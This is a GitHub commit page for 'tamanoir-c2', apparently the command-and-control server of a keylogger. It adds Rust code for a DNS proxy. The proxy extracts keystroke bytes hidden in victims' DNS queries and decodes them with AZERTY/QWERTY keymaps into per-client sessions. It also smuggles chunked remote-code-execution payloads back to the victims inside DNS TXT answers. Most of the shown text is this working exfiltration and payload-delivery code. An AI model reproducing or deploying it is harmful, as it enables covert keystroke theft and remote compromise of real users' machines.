-
-
Notifications
You must be signed in to change notification settings - Fork 11
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
36834ba
commit e144102
Showing
17 changed files
with
1,165 additions
and
242 deletions.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,21 +1,25 @@ | ||
|
||
[package] | ||
name = "tamanoir-c2" | ||
version = "0.1.0" | ||
edition = "2021" | ||
|
||
|
||
[dependencies] | ||
clap = { version = "4", default-features = true, features = [ | ||
"derive", | ||
"cargo", | ||
] } | ||
anyhow = "1" | ||
serde = { version = "1", features = ["derive"] } | ||
tokio = { version = "1.37", features = ["full"] } | ||
tokio = { version = "1", features = ["full"] } | ||
serde_yaml = "0.9" | ||
toml = "0.8.19" | ||
tempfile= "3.1.14" | ||
toml = "0.8" | ||
tempfile = "3" | ||
env_logger = { version = "0.11", default-features = false } | ||
log = { version = "0.4", default-features = false } | ||
tamanoir-common = { path = "../tamanoir-common" } | ||
tamanoir-common = { path = "../tamanoir-common" } | ||
tonic = "0.12" | ||
prost = "0.13" | ||
tonic-types = "0.12" | ||
|
||
[build-dependencies] | ||
tonic-build = "0.12" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
fn main() { | ||
tonic_build::compile_protos("../tamanoir-common/proto/tamanoir/tamanoir.proto").unwrap(); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,225 @@ | ||
pub mod utils; | ||
use std::{ | ||
collections::HashMap, | ||
net::{Ipv4Addr, SocketAddr}, | ||
sync::Arc, | ||
}; | ||
|
||
use anyhow::Error; | ||
use log::{debug, error, info, log_enabled, Level}; | ||
use tamanoir_common::ContinuationByte; | ||
use tokio::{net::UdpSocket, sync::Mutex}; | ||
use utils::{init_keymaps, KEYMAPS}; | ||
|
||
use crate::{ | ||
Layout, Session, SessionsState, AR_COUNT_OFFSET, AR_HEADER_LEN, FOOTER_LEN, FOOTER_TXT, | ||
}; | ||
|
||
pub fn max_payload_length(current_dns_packet_size: usize) -> usize { | ||
512usize | ||
.saturating_sub(current_dns_packet_size) | ||
.saturating_sub(FOOTER_LEN + AR_HEADER_LEN) | ||
} | ||
|
||
pub async fn mangle( | ||
data: &[u8], | ||
addr: SocketAddr, | ||
payload_len: usize, | ||
sessions: Arc<Mutex<HashMap<Ipv4Addr, Session>>>, | ||
) -> anyhow::Result<Vec<u8>> { | ||
if data.len() <= payload_len { | ||
return Err(Error::msg("data to short")); | ||
} | ||
let mut current_sessions: tokio::sync::MutexGuard<'_, HashMap<Ipv4Addr, Session>> = | ||
sessions.lock().await; | ||
let mut payload_it = data[data.len() - payload_len..].iter(); | ||
|
||
let layout = Layout::from(*payload_it.next().ok_or(Error::msg("data to short"))?); //first byte is layout | ||
let payload: Vec<u8> = payload_it.copied().collect(); | ||
|
||
let mut data = data[..(data.len().saturating_sub(payload_len))].to_vec(); | ||
//Add recursion bytes (DNS) | ||
data[2] = 1; | ||
data[3] = 32; | ||
|
||
let key_map = KEYMAPS | ||
.get() | ||
.ok_or(Error::msg("error geting LAYOUT KEYMAPS"))? | ||
.get(&(layout as u8)) | ||
.ok_or(Error::msg("unknow layout"))?; | ||
|
||
let session = Session::new(addr).unwrap(); | ||
if let std::collections::hash_map::Entry::Vacant(e) = current_sessions.entry(session.ip) { | ||
info!("Adding new session for client: {} ", session.ip); | ||
e.insert(session.clone()); | ||
} | ||
|
||
let current_session = current_sessions.get_mut(&session.ip).unwrap(); | ||
|
||
for k in payload { | ||
if k != 0 { | ||
let last_key_code = current_session.key_codes.last(); | ||
if key_map.is_modifier(last_key_code) { | ||
let _ = current_session.keys.pop(); | ||
} | ||
let mapped_keys = key_map.get(&k, last_key_code); | ||
current_session.key_codes.push(k); | ||
current_session.keys.extend(mapped_keys) | ||
} | ||
} | ||
if !log_enabled!(Level::Debug) { | ||
print!("\x1B[2J\x1B[1;1H"); | ||
|
||
std::io::Write::flush(&mut std::io::stdout()).unwrap(); | ||
} | ||
for session in current_sessions.values() { | ||
info!("{}\n", session); | ||
} | ||
|
||
Ok(data) | ||
} | ||
|
||
pub async fn forward_req(data: &Vec<u8>, dns_ip: Ipv4Addr) -> Result<Vec<u8>, u8> { | ||
debug!("Forwarding {} bytes", data.len()); | ||
let sock = UdpSocket::bind("0.0.0.0:0").await.map_err(|_| 0u8)?; | ||
let remote_addr = format!("{}:53", dns_ip); | ||
sock.send_to(data.as_slice(), remote_addr) | ||
.await | ||
.map_err(|_| 0u8)?; | ||
let mut buf = vec![0u8; 512]; | ||
let (len, _) = sock.recv_from(&mut buf).await.map_err(|_| 0u8)?; | ||
Ok(buf[..len].to_vec()) | ||
} | ||
|
||
pub async fn add_info( | ||
data: &mut Vec<u8>, | ||
payload: &[u8], | ||
c_byte: ContinuationByte, | ||
) -> anyhow::Result<Vec<u8>> { | ||
let mut n_ar = u16::from_be_bytes([data[AR_COUNT_OFFSET], data[AR_COUNT_OFFSET + 1]]); | ||
|
||
// we add a record | ||
n_ar += 1; | ||
let new_ar = n_ar.to_be_bytes(); | ||
data[AR_COUNT_OFFSET] = new_ar[0]; | ||
data[AR_COUNT_OFFSET + 1] = new_ar[1]; | ||
|
||
let mut record = Vec::new(); | ||
record.push(0u8); // no name | ||
record.extend_from_slice(&16u16.to_be_bytes()); // Type TXT | ||
record.extend_from_slice(&3u16.to_be_bytes()); // Class Chaos | ||
|
||
record.extend_from_slice(&300u32.to_be_bytes()); //TTL | ||
let payload_len = payload.len() as u16; | ||
let c_byte = c_byte as u8; | ||
|
||
let payload = [ | ||
payload, | ||
FOOTER_TXT.as_bytes(), | ||
&[c_byte], | ||
&payload_len.to_le_bytes(), | ||
] | ||
.concat(); | ||
record.extend_from_slice(&((payload.len() + 1) as u16).to_be_bytes()); //Data Length | ||
record.push(payload.len() as u8); //TXT Length | ||
record.extend_from_slice(&payload); //TXT | ||
data.extend(record); | ||
Ok(data.clone()) | ||
} | ||
|
||
pub struct DnsProxy { | ||
port: u16, | ||
dns_ip: Ipv4Addr, | ||
in_payload_len: usize, | ||
} | ||
impl DnsProxy { | ||
pub fn new(port: u16, dns_ip: Ipv4Addr, in_payload_len: usize) -> Self { | ||
Self { | ||
port, | ||
dns_ip, | ||
in_payload_len, | ||
} | ||
} | ||
pub async fn serve(&self, sessions: SessionsState) -> anyhow::Result<()> { | ||
{ | ||
info!("Starting dns proxy server"); | ||
init_keymaps(); | ||
let sock = UdpSocket::bind(format!("0.0.0.0:{}", self.port)).await?; | ||
debug!( | ||
"DNS proxy is listening on {}", | ||
format!("0.0.0.0:{}", self.port) | ||
); | ||
|
||
loop { | ||
let mut buf = [0u8; 512]; | ||
let (len, addr) = sock.recv_from(&mut buf).await?; | ||
let ret = self | ||
.handle_request(len, buf, addr, sessions.clone(), &sock) | ||
.await; | ||
if let Err(e) = ret { | ||
error!("Error hanling request: {}", e); | ||
} | ||
} | ||
} | ||
} | ||
pub async fn handle_request( | ||
&self, | ||
len: usize, | ||
buf: [u8; 512], | ||
addr: SocketAddr, | ||
sessions: SessionsState, | ||
sock: &UdpSocket, | ||
) -> anyhow::Result<()> { | ||
let s = Session::new(addr).ok_or(Error::msg(format!( | ||
"couldn't parse addr for session {}", | ||
addr | ||
)))?; | ||
{ | ||
let mut current_sessions: tokio::sync::MutexGuard<'_, HashMap<Ipv4Addr, Session>> = | ||
sessions.lock().await; | ||
if let std::collections::hash_map::Entry::Vacant(e) = current_sessions.entry(s.ip) { | ||
info!("Adding new session for client: {} ", s.ip); | ||
e.insert(s.clone()); | ||
} | ||
} | ||
debug!("{:?} bytes received from {:?}", len, addr); | ||
let data = mangle(&buf[..len], addr, self.in_payload_len, sessions.clone()).await?; | ||
if let Ok(mut data) = forward_req(&data, self.dns_ip).await { | ||
let payload_max_len = max_payload_length(data.len()); | ||
debug!( | ||
"foward request, response : init len={} max rce payload len={}", | ||
data.len(), | ||
payload_max_len | ||
); | ||
let mut current_sessions: tokio::sync::MutexGuard<'_, HashMap<Ipv4Addr, Session>> = | ||
sessions.lock().await; | ||
let current_session = current_sessions.get_mut(&s.ip).unwrap(); | ||
if let Some(mut rce_payload_buf) = current_session.rce_payload_buffer.clone() { | ||
let rce_payload_selected = current_session.rce_payload.clone().unwrap(); | ||
if !rce_payload_buf.is_empty() { | ||
let is_start = rce_payload_buf.len() == rce_payload_selected.len(); | ||
let out_payload: Vec<u8> = rce_payload_buf | ||
.drain(0..payload_max_len.min(rce_payload_selected.len())) | ||
.collect(); | ||
debug!("PAYLOAD SZ={}", out_payload.len()); | ||
let cbyte = if out_payload.len() == rce_payload_selected.len() { | ||
ContinuationByte::ResetEnd | ||
} else if rce_payload_buf.is_empty() { | ||
ContinuationByte::End | ||
} else if is_start { | ||
ContinuationByte::Reset | ||
} else { | ||
ContinuationByte::Continue | ||
}; | ||
let augmented_data = add_info(&mut data, &out_payload, cbyte).await?; | ||
let len = sock.send_to(&augmented_data, addr).await?; | ||
debug!("{:?} bytes sent", len); | ||
} | ||
} | ||
} else { | ||
let len = sock.send_to(&data, addr).await?; | ||
debug!("{:?} bytes sent", len); | ||
} | ||
Ok(()) | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
use std::{collections::HashMap, sync::OnceLock}; | ||
|
||
use crate::{KeyMap, Layout}; | ||
|
||
pub static KEYMAPS: OnceLock<HashMap<u8, KeyMap>> = OnceLock::new(); | ||
const AZERTY: &str = include_str!("../../../assets/layouts/azerty.yml"); | ||
const QWERTY: &str = include_str!("../../../assets/layouts/qwerty.yml"); | ||
|
||
pub fn init_keymaps() { | ||
let mut map = HashMap::<u8, KeyMap>::new(); | ||
map.insert( | ||
Layout::Azerty as u8, | ||
serde_yaml::from_str::<KeyMap>(AZERTY).unwrap(), | ||
); | ||
map.insert( | ||
Layout::Qwerty as u8, | ||
serde_yaml::from_str::<KeyMap>(QWERTY).unwrap(), | ||
); | ||
KEYMAPS.set(map).expect("Error initializing KEYMAPS"); | ||
} |
Oops, something went wrong.